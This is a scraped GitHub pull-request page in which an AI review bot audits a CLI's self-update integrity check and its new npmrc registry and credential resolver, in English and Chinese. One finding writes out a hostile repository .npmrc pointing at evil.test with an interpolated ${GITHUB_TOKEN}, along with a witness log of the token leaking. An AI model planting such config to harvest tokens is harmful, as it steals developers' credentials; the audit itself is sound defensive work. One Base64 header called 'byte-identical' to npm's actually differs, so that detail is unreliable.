Repository navigation
Conversation
Co-authored-by: multica-agent <github@multica.ai>
|
Thanks for the PR! Template looks good ✓ — all required sections present, including the bilingual block and the Tested-on matrix. Problem: Observed, not theoretical. I traced the gap in the base branch and it is real: before activation, Direction: Aligned. Self-update integrity is squarely in scope for a CLI that replaces its own binary, and treating the manifest as untrusted input is the right instinct. The credential handling is also pointed the right way — auth is scoped to the registry path, dropped on a cross-origin redirect and never restored, and the constructed header is validated through Size: Not applicable — no core-infrastructure paths are touched (all six files sit under Approach: Two things I would like your read on before the code review, neither a blocker:
One behavioural change worth a conscious decision: an npmrc with credentials embedded in the registry URL ( Minor: Risk: No elevated risk signals — none of the six files match the revert-correlated high-risk paths (Stage 1e). One structural caveat that does raise review depth: the base is Moving on to code review. 🔍 中文说明感谢贡献！ 模板完整 ✓ —— 各必需章节齐全，包含中英文说明与 Tested-on 表格。 问题： 已观测到的真实缺陷，不是理论加固。我在 base 分支上确认了这个缺口：激活前 方向： 对齐。对一个会替换自身二进制的 CLI 来说，自更新完整性完全在范围内，把 manifest 当作不可信输入是正确思路。凭据处理方向也对：认证按 registry 路径限定作用域，跨源重定向时丢弃且不再恢复，构造出的 header 经 规模： 不适用 —— 未触及任何核心基础设施路径（六个文件都在 方案： 进入代码审查前有两点想听你的判断，都不是阻塞项：
有一处行为变化希望是有意识的决定：npmrc 中把凭据写在 registry URL 里（ 次要： 风险： 无升级风险信号 —— 六个文件均未命中与 revert 相关的高风险路径（Stage 1e）。但有一处结构性注意事项确实提高了审查深度：base 是 进入代码审查 🔍 — Qwen Code · qwen3.8-max-2026-09-02 Reviewed at |
Code reviewIndependent proposal first. Before reading the diff, my own answer to "the archive's manifest lies about which runtime it ships" would have been: stop trusting in-archive metadata, ask the binary itself, and fail closed before anything is replaced. That is exactly what this PR does, so I have no materially simpler alternative to offer. On the registry half I would have reached for the existing npmrc resolver in core rather than writing a new one, and I would have made an unsupported-but-harmless config fall back to the default registry instead of throwing — both raised in the gate comment, neither a blocker. No critical blockers found. I read the three production files closely and the checks that matter hold up:
Two gaps worth naming, both about what the tests cannot reach: The redirect tests stub The identity tests use a One nit, take it or leave it: in On duplication — restating the gate question as a review finding, since it is the one thing here I would push on: this is now the third npmrc parser in the tree. The semantics genuinely differ from sequenceDiagram
participant P1 as activate flow
participant P2 as downloaded archive
participant P3 as interpreter binary
participant P4 as install directory
P1->>P2: verify checksum then extract
P1->>P2: read manifest.json
P2-->>P1: declares runtime, target, version
P1->>P1: compare declared values, spoofable
P1->>P3: run identity probe with -e
P3-->>P1: reports real runtime, platform, arch
P1->>P1: reject on any mismatch, bytes untouched
P1->>P4: atomic replace only after all match
TestingWhat evidence this comment carries: the PR's own CI check results, read through the API for commit The headline problem: this PR has no unit-test, lint, typecheck or build signal whatsoever. So the 246 new test lines are unverified by any machine other than the author's. Not verified: whether the new tests pass, whether the suite still passes, whether the build and typecheck are clean. The author reports 164 affected unit tests plus configuration, transport and archive checks passing locally on macOS arm64 — that is the author's claim, attributed as such, not evidence I can stand behind, and Windows and Linux are explicitly untested.
Note that Sandboxed verification would settle this, and it is the only thing that can: The stacked base is a legitimate way to develop, but it does mean this PR cannot be judged against 中文说明代码审查先给独立方案。 在读 diff 之前，我对"归档的 manifest 谎报自己装的是哪个 runtime"这个问题给出的答案是：不要再信任归档内的元数据，直接问二进制本身，并且在任何替换发生之前 fail closed。这正是本 PR 的做法，所以我没有更简单的替代方案可提。registry 那部分我会倾向于复用 core 里已有的 npmrc 解析器，而不是新写一个；并且我会让"不支持但无害"的配置回落到默认源而不是抛异常 —— 这两点已在门禁评论中提出，都不是阻塞项。 未发现关键阻塞问题。 我仔细读了三个生产文件，关键判断都站得住：
两处值得点明的缺口，都关于测试触达不到的范围： 重定向测试通过 身份测试使用一个 一个小问题，可改可不改： 关于重复 —— 把门禁里的疑问作为审查结论重述一遍，因为这是唯一我会坚持的点：这已是代码树中第三个 npmrc 解析器。其语义与 （时序图见上，中文不再重复：关键在于探测发生在 测试本评论所承载的证据： 通过 API 读取的、针对 commit 核心问题：本 PR 完全没有单测、lint、typecheck 或 build 信号。 因此这 246 行新增测试，除作者本机外没有任何机器验证过。未验证：新增测试是否通过、原套件是否仍通过、构建与类型检查是否干净。作者称本地 macOS arm64 上 164 项受影响单测及配置、传输、归档检查通过 —— 这是作者的声明，按此归属，并非我能背书的证据；且 Windows 与 Linux 明确未测试。 （CI 检查表见上。） 注意 沙箱化验证能够解决这个问题，而且是唯一能解决的手段： 堆叠式 base 是合理的开发方式，但确实意味着本 PR 无法对照 — Qwen Code · qwen3.8-max-2026-09-02 Reviewed at |
|
Confidence: 3/5 — the fix is correct everywhere I could verify it and the defect is real, but there is no automated evidence behind any of it and two load-bearing assumptions are unpinned. Stepping back. I confirmed the problem independently rather than accepting the framing: on the base branch, the pre-activation check compares against The credential work is careful in the ways that usually get missed: origin comparison that also catches an So why not a 4. Nothing here has been executed by anything except the author's machine, and I cannot substitute for that. The base is
Both are exactly what Two non-blocking items I would still like an answer on, both from the gate comment: whether throwing on On the pattern question — this author has ten open PRs, several in this same stacked MYWO series. I evaluated this one on its own merits and the volume did not move my read either way. It does explain the missing CI, and the description's own note that independent acceptance and two formal reviewers are still pending under Leader coordination, with no merge or release intended, tells me the series is not positioned to land yet anyway. When this retargets Deferring rather than approving, and not requesting changes — I found no blocking defect, so a rejection would be dishonest; but approving a security-relevant change with zero automated evidence and two unpinned runtime assumptions is not something I am confident in. One process note for whoever picks this up: this PR has no labels, no assignee and no human reviewer, so the deterministic owner resolver returned nothing and I am posting without an @mention rather than guessing a login. It needs an owner assigned before it can move. 中文说明置信度：3/5 —— 在我能验证的范围内修复是正确的、缺陷也真实存在，但背后没有任何自动化证据，且有两处关键假设未被钉住。 退一步看整体。我没有采信 PR 的表述，而是独立确认了问题：在 base 分支上，激活前的检查是与 凭据部分在通常容易被漏掉的地方做得很细：origin 比较同时覆盖 那为什么不是 4 分。这里的一切除作者本机外没有被任何东西执行过，而我无法替代这一点。 base 是
这两点正是 两项非阻塞但我仍希望得到回答的问题（均已在门禁评论中提出）：对 关于"是否属于某种模式"这个问题 —— 该作者有十个开放 PR，其中数个属于同一堆叠式 MYWO 系列。我是按本 PR 自身价值评估的，数量并未影响我的判断。它确实解释了 CI 缺失的原因；而 PR 描述本身也说明独立验收与两位正式 reviewer 仍在 Leader 协调下待定、且无意合并或发布，这告诉我该系列目前本来也不处于可落地状态。当它重新以 选择延后而非批准，也不请求变更 —— 我没有发现阻塞性缺陷，所以拒绝是不诚实的；但批准一个零自动化证据、且有两处未钉住的运行时假设的安全相关改动，是我无法有信心的事。给接手者的一条流程提示：本 PR 没有标签、没有 assignee、也没有人类 reviewer，因此确定性归属解析器返回空值，我选择在不 @ 任何人的情况下发布，而不是猜一个 login。它需要先被指派负责人才能推进。 — Qwen Code · qwen3.8-max-2026-09-02 Reviewed at |
qwen-code-review-bot
left a comment
qwen-code-review-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- second .npmrc registry/credential resolver diverging from core's resolveNpmRegistry/getNpmAuthToken — already reported (comment 6162325727)
Not reviewed: build-and-test — the CI 'verify' and 'tmux-testing' jobs were skipped and no CI job ran any unit test for this diff; locally only the three touched test files ran (standalone-update 109/109, npm-registry-config 12/12, updateCheck 43/43, all green), not the full packages/cli suite, and Agent 7's test-efficacy probe validated nothing (harnessValidated: null).
Not explored to full depth (tool budget reached): "agent reverse-audit (round 2)": I did not execute packages/cli/src/ui/standalone-update.test.ts or updateCheck.test.ts (the identity and redirect findings there are reasoned from source, n…; "agent reverse-audit (round 3)": I did not measure real npm's own loadGlobalPrefix from a bundled runtime — no standalone install exists in this worktree — so the claim "npm run by <installD….
Not reviewed: reverse audit — stopped before round 7 by the review time budget.
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 1 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未审查（原文为英文）：build-and-test — the CI 'verify' and 'tmux-testing' jobs were skipped and no CI job ran any unit test for this diff; locally only the three touched test files ran (standalone-update 109/109, npm-registry-config 12/12, updateCheck 43/43, all green), not the full packages/cli suite, and Agent 7's test-efficacy probe validated nothing (harnessValidated: null).
未探索到全部深度（达到工具调用预算）："agent reverse-audit (round 2)"：I did not execute packages/cli/src/ui/standalone-update.test.ts or updateCheck.test.ts (the identity and redirect findings there are reasoned from source, n…；"agent reverse-audit (round 3)"：I did not measure real npm's own loadGlobalPrefix from a bundled runtime — no standalone install exists in this worktree — so the claim "npm run by <installD…。
未审查：反向审计——评审时间预算不足，未能开始第 7 轮。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| const user = readNpmrc( | ||
| configPath(env.get('userconfig') ?? path.join(home, '.npmrc')), | ||
| ); |
There was a problem hiding this comment.
[Critical] R1-1: [certifies-falsely] [regression] An empty os.homedir() makes the default user-npmrc path relative, so a repository-local .npmrc is loaded as the trusted user tier — and its ${ENV} token is then sent to whatever host that file names.
path.join('', '.npmrc') yields the relative string '.npmrc', which configPath's path.resolve two lines above collapses against process.cwd(). That falsifies this module's own invariant at line 93 (project .npmrc is not loaded) and reaches the same config-file-redirect class that shared-env-keys.ts:399 denylists npm_config_userconfig for; HOME is absent from that exclusion set.
With HOME empty — a container, systemd Environment=HOME=, a CI runner, or a repo-carried .env creating the state — running qwen from a directory whose .npmrc holds registry=https://evil.test/ and //evil.test/:_authToken=${GITHUB_TOKEN} makes the automatic startup update check interpolate the real token and send it to evil.test. No install, no user action, every start (twice for nightly builds), and the attacker's response body also picks the version announced to the user. The non-adversarial symptom is quieter: registry resolution becomes cwd-dependent, so one install reports a different registry from ~ than from a repo carrying a .npmrc. Pre-diff this branch read only process.env['npm_config_registry'], opened no file and sent no Authorization header, so this is a regression rather than new surface.
Witness — end-to-end against the real dist with zero stubs (fake standalone install, local HTTP server as the attacker registry, cwd holding a hostile .npmrc):
ARM 1 HOME="" :
installationInfo = {"packageManager":"standalone",...,"isStandalone":true}
LOCAL SERVER RECEIVED = [{"url":"/-/package/%40qwen-code%2Fqwen-code/dist-tags",
"authorization":"Bearer ghp_REAL_SECRET_abc123","host":"127.0.0.1:38479"}]
ARM 2 HOME=/tmp/e2e/home (control, same repo cwd):
LOCAL SERVER RECEIVED = [] <- went to registry.npmjs.org
npm parity (npm does NOT do this):
env HOME= npm config get userconfig -> /tmp/r124/~/.npmrc <- literal "~", not cwd
HOME='' npm view ... dist-tags.latest --json --global -> "0.25.1" (public registry)
reachability (real dist loader, HOME absent from the launch env):
AFTER HOME in env = "" -> authorization = "Bearer ghp_REAL_SECRET_abc123"
fix flip (same hostile input):
registry.href = https://registry.npmjs.org/ ; authorization = undefined
| const user = readNpmrc( | |
| configPath(env.get('userconfig') ?? path.join(home, '.npmrc')), | |
| ); | |
| const userNpmrc = | |
| env.get('userconfig') ?? (home ? path.join(home, '.npmrc') : undefined); | |
| const user = userNpmrc ? readNpmrc(configPath(userNpmrc)) : new Map(); |
Note this does not reach the globalconfig tier at lines 87-92, which shares configPath — see the separate comment on configPath itself. configPath is shared with that global tier, whose prefix operand may legitimately be relative, so the guard belongs here at the empty-home fallback rather than as a blanket path.isAbsolute check inside configPath, which would also change the global tier.
Please add a case to npm-registry-config.test.ts (it already mocks node:os with a settable homedir) that stubs os.homedir() to '', chdirs into a temp dir holding .npmrc with registry=https://evil.test/ and //evil.test/:_authToken=dummy, and asserts lookup().registry.href === 'https://registry.npmjs.org/' with authorization === undefined — removing the home ? guard should turn that test red.
中文说明
[Critical] R1-1：[certifies-falsely] [regression] 当 os.homedir() 返回空字符串时，默认的 user npmrc 路径会变成相对路径，于是仓库目录下的 .npmrc 被当作可信的 user 配置层加载——其中 ${ENV} 形式的令牌随后会被发送到该文件指定的任意主机。
path.join('', '.npmrc') 得到相对字符串 '.npmrc'，上方两行 configPath 里的 path.resolve 会把它基于 process.cwd() 展开。这违背了本模块第 93 行自己声明的约束（project .npmrc is not loaded），并落入了 shared-env-keys.ts:399 为 npm_config_userconfig 建立黑名单时所防范的同一类「配置文件重定向」风险；而 HOME 并不在该排除集合中。
当 HOME 为空时（容器、systemd Environment=HOME=、CI runner，或仓库自带的 .env 制造出这种状态），在一个 .npmrc 含 registry=https://evil.test/ 与 //evil.test/:_authToken=${GITHUB_TOKEN} 的目录中运行 qwen，启动时自动执行的更新检查就会插值出真实令牌并发送给 evil.test。无需安装、无需用户操作、每次启动都会发生（nightly 构建每轮两次），而且攻击者返回的响应体还能决定提示给用户的版本号。非攻击场景下的表现更隐蔽：registry 解析变得依赖当前工作目录，同一个安装在 ~ 下与在带 .npmrc 的仓库下会解析出不同的 registry。改动前该分支只读 process.env['npm_config_registry']，不打开任何文件、也不发送 Authorization 头，因此这是回归而非新增面。
证据——针对真实 dist 代码的端到端复现，零 stub（伪造 standalone 安装目录、本地 HTTP 服务作为攻击者 registry、cwd 放置恶意 .npmrc）：
ARM 1 HOME="" :
installationInfo = {"packageManager":"standalone",...,"isStandalone":true}
LOCAL SERVER RECEIVED = [{"url":"/-/package/%40qwen-code%2Fqwen-code/dist-tags",
"authorization":"Bearer ghp_REAL_SECRET_abc123","host":"127.0.0.1:38479"}]
ARM 2 HOME=/tmp/e2e/home（对照组，同一仓库 cwd）:
LOCAL SERVER RECEIVED = [] <- 走的是 registry.npmjs.org
npm 对照（npm 并不会这样）:
env HOME= npm config get userconfig -> /tmp/r124/~/.npmrc <- 字面量 "~"，不是 cwd
HOME='' npm view ... dist-tags.latest --json --global -> "0.25.1"（公共 registry）
可达性（真实 dist loader，启动环境中 HOME 缺失）:
AFTER HOME in env = "" -> authorization = "Bearer ghp_REAL_SECRET_abc123"
修复后反转（同样的恶意输入）:
registry.href = https://registry.npmjs.org/ ; authorization = undefined
上面的 suggestion 块可一键应用。
注意该修复覆盖不到 87-92 行的 globalconfig 层，因为它共用 configPath——请参见针对 configPath 本身的另一条评论。configPath 与 global 层共用，而后者的 prefix 参数本来就可以是相对路径，所以这个保护应当放在此处的空 home 回退分支上，而不是在 configPath 内部做一刀切的 path.isAbsolute 检查（那会连带改变 global 层的行为）。
请在 npm-registry-config.test.ts 中补一个用例（该文件已经用可设置的 homedir mock 了 node:os）：把 os.homedir() stub 成 ''，chdir 到一个含 .npmrc（registry=https://evil.test/ 与 //evil.test/:_authToken=dummy）的临时目录，断言 lookup().registry.href === 'https://registry.npmjs.org/' 且 authorization === undefined——去掉 home ? 保护后该测试应当变红。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| if ((error as NodeJS.ErrnoException).code === 'ENOENT') return new Map(); | ||
| throw new Error('Unable to read npm registry configuration'); |
There was a problem hiding this comment.
[Suggestion] R1-2: readNpmrc rethrows every non-ENOENT read error, so one unreadable npmrc permanently kills the standalone update check — and the user is told it is a network problem.
Only ENOENT is swallowed. Any other failure (EACCES, EISDIR, ELOOP) becomes a value-free new Error('Unable to read npm registry configuration') with no cause, so both the errno and the path are lost. updateCheck.ts:174 calls getGlobalNpmRegistryConfig as the first statement of the isStandalone branch, before any fetch, and classifyUpdateCheckError has no branch for this error, so it falls through to 'registry' (updateCheck.ts:103). Pre-diff that branch never touched the filesystem, so it could not fail this way at all.
Concretely: a container image runs npm login as root during build (npm writes ~/.npmrc mode 0600 root-owned) and then runs the CLI as a non-root user; or ~/.npmrc is a directory. readFileSync fails with something other than ENOENT, the throw propagates, checkForUpdatesDetailed returns {status:'error'}, and the user sees "registry error" on every startup and every /update — sent to investigate their network, and never told an update exists. npm itself does not behave this way: @npmcli/config/lib/index.js:586-601 #loadFile carries the comment // only catch the error from readFile, not from the loadObject call, and :547-553 records conf.loadError and only log.verboses a non-ENOENT error before continuing with an empty config.
Witness:
real npm, chmod-000 userconfig : npm view semver version --userconfig <locked>
-> 7.8.5 (exit 0)
PR parser, same file : PR threw: "Unable to read npm registry configuration"
underlying readFileSync code: EACCES
through built dist : classifyUpdateCheckError -> "registry"
describeUpdateCheckFailure -> "registry error"
FIX FLIP (byte-identical /tmp copy, graceful return):
-> "https://registry.npmjs.org/"
second portable trigger : npm_config_userconfig -> a directory
-> EISDIR -> same throw
| if ((error as NodeJS.ErrnoException).code === 'ENOENT') return new Map(); | |
| throw new Error('Unable to read npm registry configuration'); | |
| return new Map(); |
Treating any read failure of an implicit config path as "no config from that file" keeps the security property intact: values that were parsed stay fatal via the URL and new Headers() validation at lines 105-114 and 129-132, so a wrong value can still never misdirect a credential. If you would rather keep a hard failure for non-permission errors, at minimum include filename in the message so the failure is diagnosable — the path is not a secret, only file contents are.
The redaction constraint must survive whichever way you go: npm-registry-config.test.ts:115 and :126 pin expect(String(error)).not.toContain('dummy-secret') / not.toContain('secret'), and an EACCES error.message contains the resolved npmrc path, so it must not be interpolated into a thrown message.
Please add a case pointing npm_config_userconfig at a path that exists but cannot be read — fs.mkdirSync(path.join(root, '.npmrc')) gives a portable EISDIR, unlike chmod 000 under a root CI user — asserting lookup() still returns { registry: new URL('https://registry.npmjs.org/') }; removing the graceful return should turn it red.
中文说明
[Suggestion] R1-2：readNpmrc 会把除 ENOENT 之外的所有读取错误重新抛出，因此一个不可读的 npmrc 会永久让 standalone 更新检查失效——而用户被告知这是网络问题。
目前只有 ENOENT 被吞掉。其他任何失败（EACCES、EISDIR、ELOOP）都会变成一个不含任何信息的 new Error('Unable to read npm registry configuration')，且没有 cause，因此 errno 和路径都丢失了。updateCheck.ts:174 在 isStandalone 分支的第一条语句就调用 getGlobalNpmRegistryConfig（早于任何 fetch），而 classifyUpdateCheckError 没有对应分支，于是落到 'registry'（updateCheck.ts:103）。改动前该分支完全不碰文件系统，因此根本不会这样失败。
具体场景：容器镜像在构建期以 root 执行 npm login（npm 会写出 root 所有、权限 0600 的 ~/.npmrc），随后以非 root 用户运行 CLI；或者 ~/.npmrc 是个目录。readFileSync 以非 ENOENT 失败，异常向上传播，checkForUpdatesDetailed 返回 {status:'error'}，用户于是每次启动、每次 /update 都看到 "registry error"——被引导去排查网络，却永远不会被告知有新版本。npm 自身并非如此：@npmcli/config/lib/index.js:586-601 的 #loadFile 带有注释 // only catch the error from readFile, not from the loadObject call，:547-553 会记录 conf.loadError，对非 ENOENT 错误只做 log.verbose，然后以空配置继续。
证据：
real npm, chmod-000 userconfig : npm view semver version --userconfig <locked>
-> 7.8.5 (exit 0)
PR parser, same file : PR threw: "Unable to read npm registry configuration"
underlying readFileSync code: EACCES
through built dist : classifyUpdateCheckError -> "registry"
describeUpdateCheckFailure -> "registry error"
FIX FLIP（逐字节相同的 /tmp 副本，优雅返回）:
-> "https://registry.npmjs.org/"
second portable trigger : npm_config_userconfig -> 一个目录
-> EISDIR -> 同样的抛出
上面的 suggestion 块可一键应用：把隐式配置路径的任何读取失败都视为「该文件没有提供配置」，安全属性并不受损——已解析出的值仍然会经由 105-114 与 129-132 行的 URL 与 new Headers() 校验而致命失败，因此错误的值依然不可能把凭据引向错误目标。如果你更希望对非权限类错误保留硬失败，至少请把 filename 放进消息里以便定位——路径不是机密，只有文件内容才是。
无论选哪种方案，脱敏约束都必须保持：npm-registry-config.test.ts:115 与 :126 固定了 expect(String(error)).not.toContain('dummy-secret') / not.toContain('secret')，而 EACCES 的 error.message 含有解析后的 npmrc 路径，因此不得被插值进抛出的消息。
请补一个用例：把 npm_config_userconfig 指向一个存在但不可读的路径——fs.mkdirSync(path.join(root, '.npmrc')) 可得到可移植的 EISDIR（不像 chmod 000 在 root 身份的 CI 下无效）——断言 lookup() 仍返回 { registry: new URL('https://registry.npmjs.org/') }；去掉优雅返回后该测试应当变红。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| const configPath = (value: string) => | ||
| path.resolve(value.replace(/^~(?=\/|$)/, home)); |
There was a problem hiding this comment.
[Suggestion] R1-3: configPath substitutes home without defending it, and two independent defects fall out of that one expression — an empty home resolves ~ to the filesystem root, and a $-pattern inside home is interpreted as a String.replace replacement pattern.
(A) There is no emptiness check, so when os.homedir() returns '', a configured userconfig=~/.npmrc or globalconfig=~/etc/npmrc expands to /.npmrc / /etc/npmrc and reads whatever is there as the user's own config tier — it does not fail closed. (B) home is passed as the replacement string, so $&, $`, $' and $$ inside it are re-interpreted rather than emitted literally. Note the internal inconsistency: the two other replace calls in this same file (:24-27 and :47-51) already use function replacers precisely because their substitution text is config-controlled.
For (B): a user whose home path contains $& — a redirected profile, a $-named mount — who points the resolver at a tilde path (npm_config_userconfig=~/.npmrc, or a ~-prefixed globalconfig=/prefix= in their npmrc) silently reads the wrong file. readNpmrc returns an empty Map for the resulting ENOENT, so no error is raised: registry falls back to https://registry.npmjs.org/ and the corporate token is never found, giving a standalone update check that 404s publicly or 401s privately, permanently, with no diagnostic pointing at the home path. The default branch is unaffected (path.join(home, '.npmrc') has no leading ~), which is exactly why this stays invisible until a tilde path is configured and why no existing test catches it. For (A): it shares the empty-HOME trigger of the Critical above but reads a system path instead of a cwd path, and it reaches the globalconfig tier that the Critical's fix deliberately leaves alone — so fixing that one as prescribed does not fix this one.
Witness — drive of the real unmodified module, plus the npm 10.9.8 parity oracle:
symptom B src HOME='/tmp/r126-probe/home-$&' -> REGISTRY=https://registry.npmjs.org/ | AUTH=<none>
fixed-fn HOME='/tmp/r126-probe/home-$&' -> REGISTRY=https://user.test/ | AUTH=Bearer user-secret
symptom A src HOME='' -> THREW=Error: Unable to read npm registry configuration (opened filesystem-root /tmp; EISDIR)
fixed-fn HOME='' -> THREW <- the $-fix alone does NOT fix (A)
fixed-guard HOME='' -> REGISTRY=https://registry.npmjs.org/ | AUTH=<none> <- fails closed
CONTROL src/fixed-fn/fixed-guard HOME='/tmp/r126-probe/home-plain'
-> REGISTRY=https://user.test/ | AUTH=Bearer user-secret
npm parity $& home, userconfig='~/.npmrc' -> https://user.test/ (npm does NOT mis-expand $&)
HOME='' -> https://registry.npmjs.org/ ; npm config get userconfig -> <cwd>/~/.npmrc (never /)
npm diverges on both arms, so neither half is npm-faithful.
| const configPath = (value: string) => | |
| path.resolve(value.replace(/^~(?=\/|$)/, home)); | |
| const configPath = (value: string) => | |
| path.resolve(value.replace(/^~(?=\/|$)/, () => (home || value))); |
The guarded function replacer above was measured to fix both symptoms while leaving the plain-home control arm unchanged. Two constraints on it: configPath is shared with the global tier at :87-92, whose operand can be path.join(prefix, 'etc', 'npmrc') with a relative prefix, so a blanket path.isAbsolute check inside configPath would wrongly change that tier; and the two other replace calls at :24-27 and :47-51 must stay function replacers — converting either to a string replacer would let an env value containing $& corrupt the interpolated token.
Please add two cases to npm-registry-config.test.ts: one with vi.mocked(os.homedir).mockReturnValue(path.join(root, '$&')), registry=https://user.test/ written to <root>/$&/.npmrc and npm_config_userconfig stubbed to '~/.npmrc', asserting lookup().registry.href === 'https://user.test/' (reverting () => home to home should turn it red); and one stubbing os.homedir() to '' with npm_config_userconfig='~/.npmrc', asserting the resolver does not read /.npmrc and returns the public default with no authorization.
中文说明
[Suggestion] R1-3：configPath 在替换 home 时没有对它做任何防护，而这一个表达式里同时藏着两个互相独立的缺陷——空的 home 会把 ~ 解析到文件系统根目录，而 home 中的 $ 模式会被当作 String.replace 的替换模式来解释。
(A) 没有空值检查，因此当 os.homedir() 返回 '' 时，配置的 userconfig=~/.npmrc 或 globalconfig=~/etc/npmrc 会展开成 /.npmrc / /etc/npmrc，并把那里的内容当作用户自己的配置层读取——它并没有 fail closed。(B) home 是作为替换字符串传入的，因此其中的 $&、$`、$'、$$ 会被重新解释，而不是按字面输出。注意文件内部的不一致：同一个文件里另外两处 replace 调用（:24-27 与 :47-51）恰恰因为替换文本来自配置，已经使用了函数形式的 replacer。
关于 (B)：如果用户的 home 路径中含 $&（重定向的 profile、带 $ 的挂载点），并且把解析器指向一个波浪号路径（npm_config_userconfig=~/.npmrc，或 npmrc 中以 ~ 开头的 globalconfig=/prefix=），就会静默读到错误的文件。由此产生的 ENOENT 让 readNpmrc 返回空 Map，因此不会报错：registry 回退到 https://registry.npmjs.org/，企业令牌永远找不到，standalone 更新检查于是长期对公共 registry 返回 404、或对私有 registry 返回 401，且没有任何诊断信息指向 home 路径。默认分支不受影响（path.join(home, '.npmrc') 没有前导 ~），这正是它在配置了波浪号路径之前始终不可见、且现有测试无法发现的原因。关于 (A)：它与上面那条 Critical 共享空 HOME 触发条件，但读到的是系统路径而非 cwd 路径，并且它触及的是 Critical 的修复刻意不覆盖的 globalconfig 层——所以按规定修好那一条并不会修好这一条。
证据——针对真实未修改模块的驱动，外加 npm 10.9.8 的对照 oracle：
symptom B src HOME='/tmp/r126-probe/home-$&' -> REGISTRY=https://registry.npmjs.org/ | AUTH=<none>
fixed-fn HOME='/tmp/r126-probe/home-$&' -> REGISTRY=https://user.test/ | AUTH=Bearer user-secret
symptom A src HOME='' -> THREW=Error: Unable to read npm registry configuration（打开了根目录下的 /tmp；EISDIR）
fixed-fn HOME='' -> THREW <- 只修 $ 并不能修好 (A)
fixed-guard HOME='' -> REGISTRY=https://registry.npmjs.org/ | AUTH=<none> <- fail closed
CONTROL src/fixed-fn/fixed-guard HOME='/tmp/r126-probe/home-plain'
-> REGISTRY=https://user.test/ | AUTH=Bearer user-secret
npm 对照 $& home, userconfig='~/.npmrc' -> https://user.test/（npm 不会误展开 $&）
HOME='' -> https://registry.npmjs.org/ ; npm config get userconfig -> <cwd>/~/.npmrc（绝不会是 /）
npm 在两条分支上都与本实现不同，因此两半都不是「与 npm 一致」的行为。
上面的 suggestion 块可一键应用：带保护的函数式 replacer 经实测可同时修好两个症状，且不改变普通 home 的对照组行为。两个约束：configPath 与 :87-92 的 global 层共用，后者的参数可能是 path.join(prefix, 'etc', 'npmrc') 且 prefix 可以是相对路径，所以在 configPath 内部做一刀切的 path.isAbsolute 检查会错误地改变该层；另外 :24-27 与 :47-51 的两处 replace 必须保持函数式 replacer——改成字符串形式会让含 $& 的环境变量值破坏插值出的令牌。
请在 npm-registry-config.test.ts 中补两个用例：一个用 vi.mocked(os.homedir).mockReturnValue(path.join(root, '$&'))，把 registry=https://user.test/ 写入 <root>/$&/.npmrc，并把 npm_config_userconfig stub 成 '~/.npmrc'，断言 lookup().registry.href === 'https://user.test/'（把 () => home 改回 home 应使其变红）；另一个把 os.homedir() stub 成 '' 且 npm_config_userconfig='~/.npmrc'，断言解析器不会读取 /.npmrc，而是返回公共默认值且不带 authorization。
— qwen3.8-max via Qwen Code /review (v0.25.1)
| registry.username || | ||
| registry.password | ||
| ) { | ||
| throw new Error('Invalid npm registry configuration'); |
There was a problem hiding this comment.
[Suggestion] R1-4: A registry URL with embedded userinfo is rejected outright, instead of being lifted into the Basic Authorization header this same function already knows how to build 15 lines below.
registry=https://user:token@nexus.corp/repository/npm/ is a form npm accepts for basic-auth mirrors, but here new URL(...) populates registry.username, this guard throws Invalid npm registry configuration, and every update check for that install returns {status:'error'} → "registry error" forever, with nothing in the message identifying the registry line at fault. Pre-diff, fetchGlobalNpmUpdateInfo read only process.env['npm_config_registry'], ignored the npmrc, queried registry.npmjs.org and returned a usable answer — so this is a regression for a population whose npm config npm itself accepts. The security property you are protecting (never put credentials in the request URL) does not require the throw.
Witness:
real npm against a logging stub, userconfig = registry=http://user:token@127.0.0.1:PORT/
-> {"url":"/semver","authorization":"Basic dXNlcjp0b2tlbg=="} <- npm WORKS, header from the userinfo
PR parser, same input
-> {"ok":false,"threw":"Invalid npm registry configuration"}
-> through built dist: registry / "registry error"
FIX FLIP (lift userinfo into the header, strip it from the URL)
-> {"registry":"https://nexus.corp/repository/npm/","authorization":"Basic dXNlcjp0b2tvbg=="}
<- byte-identical to npm's measured header, credential gone from the URL
Worth knowing: this is not npm-registry-fetch/lib/auth.js's Auth class doing the lifting — that class reads only :_authToken/:_auth/:username/:_password — so the divergence is invisible if you check npm's auth module alone.
Lift the userinfo into the header before this guard and keep the throw for the protocol case only:
if (registry.username || registry.password) {
authorization =
'Basic ' +
Buffer.from(
`${decodeURIComponent(registry.username)}:${decodeURIComponent(registry.password)}`,
).toString('base64');
registry.username = '';
registry.password = '';
}Alternatively, if rejecting userinfo is a deliberate choice, degrade the version lookup to the public default rather than aborting it — the archive download path uses QWEN_UPDATE_BASE_URL (resolveUpdateBaseUrl(), standalone-update.ts:69), not this registry, so degrading the lookup cannot change where bytes come from.
Either way the redaction constraint must hold: npm-registry-config.test.ts:118-133 pins 'https://user:secret@registry.test', 'ftp://registry.test' and 'invalid-secret-value' as throws with expect(String(error)).not.toContain('secret'), so the derived header must never go back into the URL or into an error message. The existing 'rejects unsafe registry config without exposing its value (%s)' case for the userinfo input currently pins the opposite behaviour and needs rewriting to assert { registry: new URL('https://registry.test/'), authorization: 'Basic dXNlcjpzZWNyZXQ=' } plus that lookup().registry.href contains no secret — that rewritten case is the test that must go red if the lifting is removed.
中文说明
[Suggestion] R1-4：带有内嵌 userinfo 的 registry URL 被直接拒绝，而没有转换成下方 15 行处同一个函数已经会构造的 Basic Authorization 头。
registry=https://user:token@nexus.corp/repository/npm/ 是 npm 为 basic-auth 镜像所接受的形式，但这里 new URL(...) 会填充 registry.username，于是该保护抛出 Invalid npm registry configuration，该安装的每次更新检查都永远返回 {status:'error'} → "registry error"，而消息里没有任何信息指出出问题的 registry 配置行。改动前 fetchGlobalNpmUpdateInfo 只读 process.env['npm_config_registry']，忽略 npmrc，向 registry.npmjs.org 查询并返回可用结果——因此对于这批「npm 本身就接受其配置」的用户，这是回归。你想保护的安全属性（绝不把凭据放进请求 URL）并不需要靠抛异常来实现。
证据：
real npm against a logging stub, userconfig = registry=http://user:token@127.0.0.1:PORT/
-> {"url":"/semver","authorization":"Basic dXNlcjp0b2tlbg=="} <- npm 正常工作，头由 userinfo 推导
PR parser, same input
-> {"ok":false,"threw":"Invalid npm registry configuration"}
